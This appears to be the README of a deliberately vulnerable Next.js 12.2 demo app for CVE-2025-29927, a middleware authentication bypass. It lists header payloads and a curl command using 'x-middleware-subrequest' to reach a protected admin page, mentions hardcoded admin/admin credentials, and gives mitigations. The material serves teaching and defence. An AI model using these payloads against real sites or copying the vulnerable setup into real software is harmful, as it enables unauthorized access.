π Next.js Auth Bypass Demo - Educational application demonstrating CVE-2025-29927 middleware authentication bypass vulnerability . β οΈ For educational use only.# Hello World - Next.js 12.2
A simple proof of concept Next.js 12.2 application.
## π Quick Start
### 1. Install Dependencies
```bash
npm install
```
### 2. Run the Development Server
```bash
npm run dev
```
The application will be available at `http://localhost:3000`
## π οΈ Available Scripts
- `npm run dev` - Start development server
- `npm run build` - Build for production
- `npm run start` - Start production server
## π― Features
- β
**Next.js 12.2** - Latest stable version
- β
**React 18.2** - Modern React features
- β
**Simple Design** - Clean, responsive UI
- β
**Authentication System** - Login with hardcoded credentials
- β
**Admin Panel** - Protected dashboard with sensitive data
- β
**Vulnerable Middleware** - Demonstrates auth bypass techniques
- β
**Exploit Demo** - Easy to reproduce security issues
## π§ Customization
Edit `pages/index.js` to modify the Hello World page. The application uses inline styles for simplicity, but you can add CSS files or styling libraries as needed.
## π CVE-2025-29927 Security Demo
This application demonstrates the **CVE-2025-29927** vulnerability discovered by Rachid.A (zhero) and Yasser Allam (inzo_):
### π Vulnerability Details
- **CVE:** CVE-2025-29927
- **CVSS:** 9.1/10 (Critical)
- **Affected:** Next.js 11.1.4 - 15.2.2
- **Impact:** Complete middleware bypass using `x-middleware-subrequest` header
### π― Demo Credentials
- **Username:** `admin`
- **Password:** `admin`
### π¨ CVE-2025-29927 Exploit Methods
1. **Browser Extension (ModHeader)** - Add `x-middleware-subrequest: middleware` header
2. **JavaScript Console** - Use fetch with the bypass header
3. **cURL Exploit** - `curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin`
4. **Python Requests** - Add header to bypass middleware completely
### π§ Payload Variations
- **Next.js 12.2+:** `x-middleware-subrequest: middleware`
- **With /src directory:** `x-middleware-subrequest: src/middleware`
- **Next.js 15.x:** `x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware`
### π‘οΈ Mitigation
- Update to Next.js 15.2.3+ (14.2.25+ for 14.x)
- Block `x-middleware-subrequest` header at proxy/CDN level
- Implement additional server-side validation
**β οΈ WARNING: This demonstrates a real CVE for educational purposes only!**
## π¦ Dependencies
- **next**: 12.2.0
- **react**: 18.2.0
- **react-dom**: 18.2.0
## π¨ Styling
This application uses inline styles for simplicity. For a production app, consider using:
- CSS Modules
- Styled Components
- Tailwind CSS
- Or any other styling solution
---
**Happy coding! π**
[4.0K] /data/pocs/69091069268e6c9bc81ad389414d22b2a8251cec
βββ [ 725] middleware.js
βββ [ 118] next.config.js
βββ [ 268] package.json
βββ [ 14K] package-lock.json
βββ [4.0K] pages
βΒ Β βββ [7.1K] admin.js
βΒ Β βββ [4.0K] api
βΒ Β βΒ Β βββ [ 615] login.js
βΒ Β βΒ Β βββ [ 381] logout.js
βΒ Β βββ [ 96] _app.js
βΒ Β βββ [3.9K] index.js
βΒ Β βββ [4.3K] login.js
βββ [2.6K] README.md
2 directories, 11 files